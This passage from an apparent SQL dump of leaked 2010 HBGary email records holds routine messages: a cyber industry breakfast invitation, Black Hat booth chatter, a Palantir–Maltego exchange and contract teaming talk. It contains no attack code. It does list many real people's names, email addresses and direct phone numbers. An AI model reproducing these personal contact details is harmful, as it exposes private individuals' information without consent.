be\r\nable to identify issues that we all have in common and try to influence the future of cyber. I believe we can put aside our competitive interests and work together in the best interests of our government. We face a huge and growing problem, and I believe the\r\nsolution lies not in a government or industry answer, but rather a common approach. I look forward to working with you to help define our future. A famous Redskins coach used to say that “the future is now”, and I believe that is true for our industry right\r\nnow also.”\r\n&nbsp;\r\nThe topics for this meeting will be:\r\n&nbsp;\r\n\r\nFinalize the Group Charter/Mission StatementDialogue around the draft National Strategy for Trusted Identities in Cyberspace (released by Howard Schmidt on 6/25) http://www.whitehouse.gov/blog/2010/06/25/national-strategy-trusted-identities-cyberspaceBrief comments around future speakers\r\n&nbsp;\r\nSpace is limited, please RSVP by Monday July 19, 2010 and call me directly with any questions.\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nSincerely,\r\n&nbsp;\r\nJennifer Jordan-Harrell\r\nGroup Manager\r\n&nbsp;\r\nExecutiveBiz\r\n703-226-7016\r\njennifer@executivebiz.com\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',11267,'aaron_hbgary_com/11267.html'),(9253,'2010-07-28','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007132.M827276P14101Q4108.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary booth number -- confirm','Lots more tweets now. People loving it -&gt; at least what I can see\r\nOn Wed, Jul 28, 2010 at 11:54 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\nWonderful -- so happy \r\n\r\n\r\n\r\nOn Wed, Jul 28, 2010 at 11:51 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nCool.  I am sitting mid room.  It is a packed house.  There has to be 1000 people.Sent from my iPhone\r\n\r\n\r\n\r\nOn Jul 28, 2010, at 11:44 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n\r\nI am -&gt; so far, just a few that I can see: Carnegie Mellon, TaoSecurity, Steve Fox, McAfee Business, Bruce Snell. I have a running search on you, HBGary, greg&#39;s name, blackhatusa. Let me check the words &quot;malware fingerprinting&quot;  So glad there is a good turnout! Your photo made my day -- thanks so much. K\r\n\r\nOn Wed, Jul 28, 2010 at 11:39 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nKaren,\r\n\r\nDo a tweet search on Hoglund.  Lots of people tweeting.Sent from my iPhone\r\n\r\n\r\n\r\nOn Jul 28, 2010, at 9:14 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n\r\nThat&#39;s okay -&gt; looking at the grid, there doesn&#39;t seem to be a #32. You can just tweet more closer to talk. Love your updates. K\r\nOn Wed, Jul 28, 2010 at 9:12 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nYep booth 36 crap\r\nSent from my iPhoneOn Jul 28, 2010, at 8:55 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n&gt; Hi Aaron, Just want to confirm booth #. Floor plan shows #36; you said #32 in your tweet. Is it #32?\r\n\r\n\r\n&gt; &lt;bh-us-10-sponsors_floorplan.pdf&gt;\r\n\r\n',10057,'aaron_hbgary_com/10057.html'),(9254,'2010-07-28','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297007133.M138725P14101Q4109.eml','\"Aaron Barr\" <aaron@hbgary.com>','Maltego as link analysis tool?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat can we do to make Greg push us v. Maltego?\r\n\r\n&nbsp;\r\n\r\nNot too concerned about this btw, we don&#8217;t really\r\nconsider Maltego a threat&#8230;..yet.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15174,'aaron_hbgary_com/15174.html'),(9255,'2010-07-28','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297007133.M355070P14101Q4110.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Maltego as link analysis tool?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAlso, my boys out there said his\r\nprezo was awesome!\r\n\r\n&nbsp;\r\n\r\nNice job.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matthew Steckman \r\nSent: Wednesday, July 28, 2010 3:27 PM\r\nTo: \'Aaron Barr\'\r\nSubject: Maltego as link analysis tool?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWhat can we do to make Greg push us v. Maltego?\r\n\r\n&nbsp;\r\n\r\nNot too concerned about this btw, we don&#8217;t really consider\r\nMaltego a threat&#8230;..yet.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15977,'aaron_hbgary_com/15977.html'),(9256,'2010-07-28','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297007133.M633611P14101Q4111.eml','\"JD Kathuria\" <jd@executivebiz.com>,\"Jim Garrettson\" <jimg@executivebiz.com>,\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Fast, Barbara G\" <barbara.g.fast@boeing.com>,\"bmalexia@rockwellcollins.com\" <bmalexia@rockwellcollins.com>,\"bill.phelps@accenture.com\" <bill.phelps@accenture.com>,\"lance.cottrell@abraxascorp.com\" <lance.cottrell@abraxascorp.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"michael.fraser@usis.com\" <michael.fraser@usis.com>,\"roger_anderson@appsig.com\" <roger_anderson@appsig.com>,\"Zalmai Azmi\" <zazmi@caci.com>,\"Osterholz, John (US SSA)\" <john.osterholz@baesystems.com>,\"kenneth.sannicolas@stanleyassociates.com\" <kenneth.sannicolas@stanleyassociates.com>,\"Skip.Foote@AmericanSystems.com\" <Skip.Foote@AmericanSystems.com>,\"steve_k_hawkins@raytheon.com\" <steve_k_hawkins@raytheon.com>,\"jreagan@deloitte.com\" <jreagan@deloitte.com>,\"Lamboy, John\" <John.Lamboy@vangent.com>,\"jmoorcones@safenet-inc.com\" <jmoorcones@safenet-inc.com>,larry.strang@tasc.com,\"alexander.miller@l-3com.com\" <alexander.miller@l-3com.com>,\"david_joslin@federal.dell.com\" <david_joslin@federal.dell.com>,\"Charles Palmer\" <ccpalmer@us.ibm.com>,\"Tiffany Jones\" <tiffany_jones@symantec.com>,\"plamontagne@paradigmsolutions.com\" <plamontagne@paradigmsolutions.com>,\"Robert Dix\" <rdix@juniper.net>,\"dusty.wince@knowledgecg.com\" <dusty.wince@knowledgecg.com>,\"rodney.joffe@neustar.biz\" <rodney.joffe@neustar.biz>,\"John Watters\" <jwatters@isightpartners.com>,\"gjg@mitre.org\" <gjg@mitre.org>,\"coxld@saic.com\" <coxld@saic.com>,\"wcooper@cisco.com\" <wcooper@cisco.com>,\"svisner@csc.com\" <svisner@csc.com>,\"scottmil@microsoft.com\" <scottmil@microsoft.com>,\"Warden, Kathy J (IS)\" <Kathy.Warden@ngc.com>,\"jkoenig@harris.com\" <jkoenig@harris.com>,\"Payne, James F  X\" <jpayne@telcordia.com>,\"nadia.short@gd-ais.com\" <nadia.short@gd-ais.com>,\"Carroll, Shawn (QGSI)\" <Shawn.Carroll@qwest.com>,\"pat.burke@sra.com\" <pat.burke@sra.com>,\"pelacombe@securemissionsolutions.com\" <pelacombe@securemissionsolutions.com>,james.russell@qinetiq-na.com','Cyber Group Breakfast Meeting Hosted by ExecutiveBiz - Bill Varner Chairman','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, August 03, 2010 7:30 AM-9:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Tower Club, Tyson\'s Corner, Virginia\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nWhen: Tuesday, August 3, 2010 7:30 AM-9:00 AM (GMT-07:00) Eastern Time (US &amp; Canada).\r\nWhere: Tower Club – Tyson’s Corner, Virginia\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n----------------------------------------------------------------------------------------------------------------------------------------------\r\n&nbsp;\r\nGood Afternoon Cyber Group,\r\nPer the request of the chairman and various group members, ExecutiveBiz is pleased to sponsor a working breakfast meeting for the Cyber Group.&nbsp; This is not a required part of your 4x24 membership, but we hope that you all will see the benefit in what the\r\ngroup chair is hoping to achieve with this group.\r\n&nbsp;\r\n“I would like to use our group as more than a periodic dinner meeting, as a real and virtual forum to help influence the outcome of some of these defining events. Together we represent most of the large companies in our industry, and we should be\r\nable to identify issues that we all have in common and try to influence the future of cyber. I believe we can put aside our competitive interests and work together in the best interests of our government. We face a huge and growing problem, and I believe the\r\nsolution lies not in a government or industry answer, but rather a common approach. I look forward to working with you to help define our future. A famous Redskins coach used to say that “the future is now”, and I believe that is true for our industry right\r\nnow also.”\r\n&nbsp;\r\nThe topics for this meeting will be:\r\n&nbsp;\r\n\r\nFinalize the Group Charter/Mission StatementDialogue around the draft National Strategy for Trusted Identities in Cyberspace (released by Howard Schmidt on 6/25) http://www.whitehouse.gov/blog/2010/06/25/national-strategy-trusted-identities-cyberspaceBrief comments around future speakers\r\n&nbsp;\r\nSpace is limited, please RSVP by Monday July 19, 2010 and call me directly with any questions.\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nSincerely,\r\n&nbsp;\r\nJennifer Jordan-Harrell\r\nGroup Manager\r\n&nbsp;\r\nExecutiveBiz\r\n703-226-7016\r\njennifer@executivebiz.com\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',6030,'aaron_hbgary_com/6030.html'),(9257,'2010-07-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007133.M891609P14101Q4112.eml','\"Aaron Barr\" <adbarr@mac.com>','','Rakishlife.com\r\n\r\nSent from my iPhone\r\n',9570,'aaron_hbgary_com/9570.html'),(9258,'2010-07-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007134.M135971P14101Q4113.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: Maltego as link analysis tool?','It\'s not a threat. &nbsp;It\'s a pure investigation tool that was built for cyber analysis at an investigation level.Let\'s talk. &nbsp;He\'ll push it more (he had a couple of Palantir slides) he just needs more help in doing the integration and developing the models.AaronSent from my iPhoneOn Jul 28, 2010, at 12:26 PM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\nWhat can we do to make Greg push us v. Maltego?\r\n\r\n&nbsp;\r\n\r\nNot too concerned about this btw, we don’t really\r\nconsider Maltego a threat…..yet.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3002,'aaron_hbgary_com/3002.html'),(9259,'2010-07-28','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297007134.M350043P14101Q4114.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Maltego as link analysis tool?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nRgr. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, July 28, 2010 4:10 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Maltego as link analysis tool?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nIt\'s not a threat. &nbsp;It\'s a pure investigation tool that\r\nwas built for cyber analysis at an investigation level.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet\'s talk. &nbsp;He\'ll push it more (he had a couple of\r\nPalantir slides) he just needs more help in doing the integration and\r\ndeveloping the models.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 28, 2010, at 12:26 PM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat\r\ncan we do to make Greg push us v. Maltego?\r\n\r\n&nbsp;\r\n\r\nNot\r\ntoo concerned about this btw, we don’t really consider Maltego a threat…..yet.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14191,'aaron_hbgary_com/14191.html'),(9260,'2010-07-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007134.M552233P14101Q4115.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: Maltego as link analysis tool?','It rocked! &nbsp;Check out tweets on Hoglund. &nbsp;I ping u when I get back we cam use our rsa talk as the impetus for greater integration.AaronSent from my iPhoneOn Jul 28, 2010, at 12:36 PM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\nAlso, my boys out there said his\r\nprezo was awesome!\r\n\r\n&nbsp;\r\n\r\nNice job.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matthew Steckman \r\nSent: Wednesday, July 28, 2010 3:27 PM\r\nTo: \'Aaron Barr\'\r\nSubject: Maltego as link analysis tool?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWhat can we do to make Greg push us v. Maltego?\r\n\r\n&nbsp;\r\n\r\nNot too concerned about this btw, we don’t really consider\r\nMaltego a threat…..yet.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1070,'aaron_hbgary_com/1070.html'),(9261,'2010-07-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007134.M761908P14101Q4116.eml','\"Karen Burke\" <karen@hbgary.com>','Re: HBGary booth number -- confirm','Yep lotsOf good comments at the booth.AaronSent from my iPhoneOn Jul 28, 2010, at 12:17 PM, Karen Burke &lt;karen@hbgary.com&gt; wrote:Lots more tweets now. People loving it -&gt; at least what I can see\r\nOn Wed, Jul 28, 2010 at 11:54 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\nWonderful -- so happy \r\n\r\n\r\n\r\nOn Wed, Jul 28, 2010 at 11:51 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nCool. &nbsp;I am sitting mid room. &nbsp;It is a packed house. &nbsp;There has to be 1000 people.Sent from my iPhone\r\n\r\n\r\n\r\nOn Jul 28, 2010, at 11:44 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n\r\nI am -&gt; so far, just a few that I can see: Carnegie Mellon, TaoSecurity, Steve Fox, McAfee Business, Bruce Snell. I have a running search on you, HBGary, greg\'s name, blackhatusa. Let me check the words \"malware fingerprinting\"&nbsp; So glad there is a good turnout! Your photo made my day -- thanks so much. K\r\n\r\nOn Wed, Jul 28, 2010 at 11:39 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nKaren,\r\n\r\nDo a tweet search on Hoglund. &nbsp;Lots of people tweeting.Sent from my iPhone\r\n\r\n\r\n\r\nOn Jul 28, 2010, at 9:14 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n\r\nThat\'s okay -&gt; looking at the grid, there doesn\'t seem to be a #32. You can just tweet more closer to talk. Love your updates. K\r\nOn Wed, Jul 28, 2010 at 9:12 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nYep booth 36 crap\r\nSent from my iPhoneOn Jul 28, 2010, at 8:55 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n&gt; Hi Aaron, Just want to confirm booth #. Floor plan shows #36; you said #32 in your tweet. Is it #32?\r\n\r\n\r\n&gt; &lt;bh-us-10-sponsors_floorplan.pdf&gt;\r\n\r\n',7308,'aaron_hbgary_com/7308.html'),(9262,'2010-07-28','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007135.M243047P14101Q4118.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary booth number -- confirm','Hi Aaron, Charles just posted your blogpost. Link is on homepage http://bit.ly/9tNJmR\r\nOn Wed, Jul 28, 2010 at 12:17 PM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\nLots more tweets now. People loving it -&gt; at least what I can see \r\n\r\n\r\n\r\nOn Wed, Jul 28, 2010 at 11:54 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\nWonderful -- so happy \r\n\r\n\r\n\r\nOn Wed, Jul 28, 2010 at 11:51 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nCool.  I am sitting mid room.  It is a packed house.  There has to be 1000 people.Sent from my iPhone\r\n\r\n\r\n\r\nOn Jul 28, 2010, at 11:44 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n\r\nI am -&gt; so far, just a few that I can see: Carnegie Mellon, TaoSecurity, Steve Fox, McAfee Business, Bruce Snell. I have a running search on you, HBGary, greg&#39;s name, blackhatusa. Let me check the words &quot;malware fingerprinting&quot;  So glad there is a good turnout! Your photo made my day -- thanks so much. K\r\n\r\nOn Wed, Jul 28, 2010 at 11:39 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nKaren,\r\n\r\nDo a tweet search on Hoglund.  Lots of people tweeting.Sent from my iPhone\r\n\r\n\r\n\r\nOn Jul 28, 2010, at 9:14 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n\r\nThat&#39;s okay -&gt; looking at the grid, there doesn&#39;t seem to be a #32. You can just tweet more closer to talk. Love your updates. K\r\nOn Wed, Jul 28, 2010 at 9:12 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nYep booth 36 crap\r\nSent from my iPhoneOn Jul 28, 2010, at 8:55 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n&gt; Hi Aaron, Just want to confirm booth #. Floor plan shows #36; you said #32 in your tweet. Is it #32?\r\n\r\n\r\n&gt; &lt;bh-us-10-sponsors_floorplan.pdf&gt;\r\n\r\n',11925,'aaron_hbgary_com/11925.html'),(9263,'2010-07-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007135.M454566P14101Q4119.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: EXTERNAL:Asteroid','FYI --\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Wed, Jul 28, 2010 at 3:25 PM\r\nSubject: Re: EXTERNAL:Asteroid\r\nTo: \"Hill, Lawrence C (TASC)\" \r\n\r\n\r\nCool, thanks.  We haven\'t signed any TA\'s yet for Asteroid.\r\n\r\nLooks like we\'re nailing our Attribution talk at Blackhat, take a look:\r\n\r\nhttp://search.twitter.com/search?max_id=19763116057&page=2&q=hoglund\r\n\r\nTed\r\n\r\n\r\nOn Wed, Jul 28, 2010 at 2:44 PM, Hill, Lawrence C (TASC)\r\n wrote:\r\n> Ted,  ours is a Prime position and I just spoke with Tom about you and Aaron.  I recommended he get in touch with you both to set up meeting to discuss opportunities he is pursuing that you folks may be interested in and be significant value to.   L\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Wednesday, July 28, 2010 12:47 PM\r\n> To: Hill, Lawrence C (TASC)\r\n> Subject: Re: EXTERNAL:Asteroid\r\n>\r\n> So for clarification, you aim to go after this as Prime?\r\n>\r\n> Things are going ok -- still trying to find some near-term work.  The\r\n> contract we won had the \"kick-off\" meeting earlier this month, and we\r\n> thought the work would begin in July, but now due to funding it won\'t\r\n> start till September.\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Wed, Jul 28, 2010 at 12:45 PM, Hill, Lawrence C (TASC)\r\n>  wrote:\r\n>> Ted,\r\n>>\r\n>>\r\n>>\r\n>> Yes we are and it is currently in Tom McLaulin\'s department out of Falls\r\n>> Church but Don Sutula is locally helping Tom.\r\n>>\r\n>>\r\n>>\r\n>> I\'m traveling a bunch and hope all is well with you and yours?\r\n>>\r\n>>\r\n>>\r\n>> L\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Tuesday, July 13, 2010 3:13 PM\r\n>> To: Hill, Lawrence C (TASC)\r\n>> Cc: Barr Aaron\r\n>> Subject: EXTERNAL:Asteroid\r\n>>\r\n>>\r\n>>\r\n>> Lawrence,\r\n>>\r\n>>\r\n>>\r\n>> Is this on your radar?  Is TASC thinking about priming?  BAE is the\r\n>> incumbent, the current Program is called COSMIC, a multi-year $500M IDIQ\r\n>> contract. The POP ends next September, the follow-on will be called\r\n>> Asteroid. GD, NG, and Mantech are all current subs to BAE on COSMIC (I\'m not\r\n>> sure if TASC is as well).  Any one of them may decide to Prime Asteroid.\r\n>>  We\'ve been approached to join BAE as a sub, but I\'m curious about who else\r\n>> is going after it as prime.\r\n>>\r\n>>\r\n>>\r\n>> You can read more about Asteroid here:\r\n>>\r\n>>\r\n>>\r\n>> https://www.fbo.gov/index?s=opportunity&mode=form&id=6829a0a60a469aa659c0fdbe5ec3e4f3&tab=core&tabmode=list&=\r\n>>\r\n>> --\r\n>>\r\n>> Ted\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',4107,'aaron_hbgary_com/4107.html'),(9264,'2010-07-28','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297007135.M8915P14101Q4117.eml','\"JD Kathuria\" <jd@executivebiz.com>,\"Jim Garrettson\" <jimg@executivebiz.com>,\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Fast, Barbara G\" <barbara.g.fast@boeing.com>,\"bmalexia@rockwellcollins.com\" <bmalexia@rockwellcollins.com>,\"bill.phelps@accenture.com\" <bill.phelps@accenture.com>,\"lance.cottrell@abraxascorp.com\" <lance.cottrell@abraxascorp.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"michael.fraser@usis.com\" <michael.fraser@usis.com>,\"roger_anderson@appsig.com\" <roger_anderson@appsig.com>,\"Zalmai Azmi\" <zazmi@caci.com>,\"Osterholz, John (US SSA)\" <john.osterholz@baesystems.com>,\"kenneth.sannicolas@stanleyassociates.com\" <kenneth.sannicolas@stanleyassociates.com>,\"Skip.Foote@AmericanSystems.com\" <Skip.Foote@AmericanSystems.com>,\"jreagan@deloitte.com\" <jreagan@deloitte.com>,\"Lamboy, John\" <John.Lamboy@vangent.com>,\"jmoorcones@safenet-inc.com\" <jmoorcones@safenet-inc.com>,\"larry.strang@tasc.com\" <larry.strang@tasc.com>,\"alexander.miller@l-3com.com\" <alexander.miller@l-3com.com>,\"david_joslin@federal.dell.com\" <david_joslin@federal.dell.com>,\"Charles Palmer\" <ccpalmer@us.ibm.com>,\"Tiffany Jones\" <tiffany_jones@symantec.com>,\"plamontagne@paradigmsolutions.com\" <plamontagne@paradigmsolutions.com>,\"Robert Dix\" <rdix@juniper.net>,\"dusty.wince@knowledgecg.com\" <dusty.wince@knowledgecg.com>,\"rodney.joffe@neustar.biz\" <rodney.joffe@neustar.biz>,\"John Watters\" <jwatters@isightpartners.com>,\"gjg@mitre.org\" <gjg@mitre.org>,\"coxld@saic.com\" <coxld@saic.com>,\"wcooper@cisco.com\" <wcooper@cisco.com>,\"svisner@csc.com\" <svisner@csc.com>,\"scottmil@microsoft.com\" <scottmil@microsoft.com>,\"Warden, Kathy J (IS)\" <Kathy.Warden@ngc.com>,\"jkoenig@harris.com\" <jkoenig@harris.com>,\"Payne, James F  X\" <jpayne@telcordia.com>,\"nadia.short@gd-ais.com\" <nadia.short@gd-ais.com>,\"Carroll, Shawn (QGSI)\" <Shawn.Carroll@qwest.com>,\"pat.burke@sra.com\" <pat.burke@sra.com>,\"pelacombe@securemissionsolutions.com\" <pelacombe@securemissionsolutions.com>,\"james.russell@qinetiq-na.com\" <james.russell@qinetiq-na.com>,\"steve_k_hawkins@raytheon.com\" <steve_k_hawkins@raytheon.com>,\"JD Kathuria\" <jd@executivebiz.com>,\"Jim Garrettson\" <jimg@executivebiz.com>','Cyber Group Breakfast Meeting Hosted by ExecutiveBiz - Bill Varner Chairman','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, August 03, 2010 7:30 AM-9:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Tower Club, Tyson\'s Corner, Virginia\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nWhen: Tuesday, August 3, 2010 7:30 AM-9:00 AM (GMT-07:00) Eastern Time (US &amp; Canada).\r\nWhere: Tower Club – Tyson’s Corner, Virginia\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n----------------------------------------------------------------------------------------------------------------------------------------------\r\n&nbsp;\r\nGood Afternoon Cyber Group,\r\nPer the request of the chairman and various group members, ExecutiveBiz is pleased to sponsor a working breakfast meeting for the Cyber Group.&nbsp; This is not a required part of your 4x24 membership, but we hope that you all will see the benefit in what the\r\ngroup chair is hoping to achieve with this group.\r\n&nbsp;\r\n“I would like to use our group as more than a periodic dinner meeting, as a real and virtual forum to help influence the outcome of some of these defining events. Together we represent most of the large companies in our industry, and we should be\r\nable to identify issues that we all have in common and try to influence the future of cyber. I believe we can put aside our competitive interests and work together in the best interests of our government. We face a huge and growing problem, and I believe the\r\nsolution lies not in a government or industry answer, but rather a common approach. I look forward to working with you to help define our future. A famous Redskins coach used to say that “the future is now”, and I believe that is true for our industry right\r\nnow also.”\r\n&nbsp;\r\nThe topics for this meeting will be:\r\n&nbsp;\r\n\r\nFinalize the Group Charter/Mission StatementDialogue around the draft National Strategy for Trusted Identities in Cyberspace (released by Howard Schmidt on 6/25) http://www.whitehouse.gov/blog/2010/06/25/national-strategy-trusted-identities-cyberspaceBrief comments around future speakers\r\n&nbsp;\r\nSpace is limited, please RSVP by Monday July 19, 2010 and call me directly with any questions.\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nSincerely,\r\n&nbsp;\r\nJennifer Jordan-Harrell\r\nGroup Manager\r\n&nbsp;\r\nExecutiveBiz\r\n703-226-7016\r\njennifer@executivebiz.com\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',385,'aaron_hbgary_com/385.html'),(9265,'2010-07-28','\"Ianuar Badawi\" <ibadawi@digitalmanagement.com>','/aaron@hbgary.com/new/1297007138.M642641P14101Q4120.eml','aaron@hbgary.com,aaron@hbgary.com,','TA with HBGary for TSA ITSSS','Aaron:\r\n\r\nAttached is the TA for TSA ITSSS opportunity for your review. If acceptable please sign; otherwise, you may comment using track changes.\r\n\r\nThanks,\r\nIan Badawi\r\nDigital Management, Inc.\r\n\r\n',8141,'aaron_hbgary_com/8141.html'),(9266,'2010-07-28','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007138.M915685P14101Q4121.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" 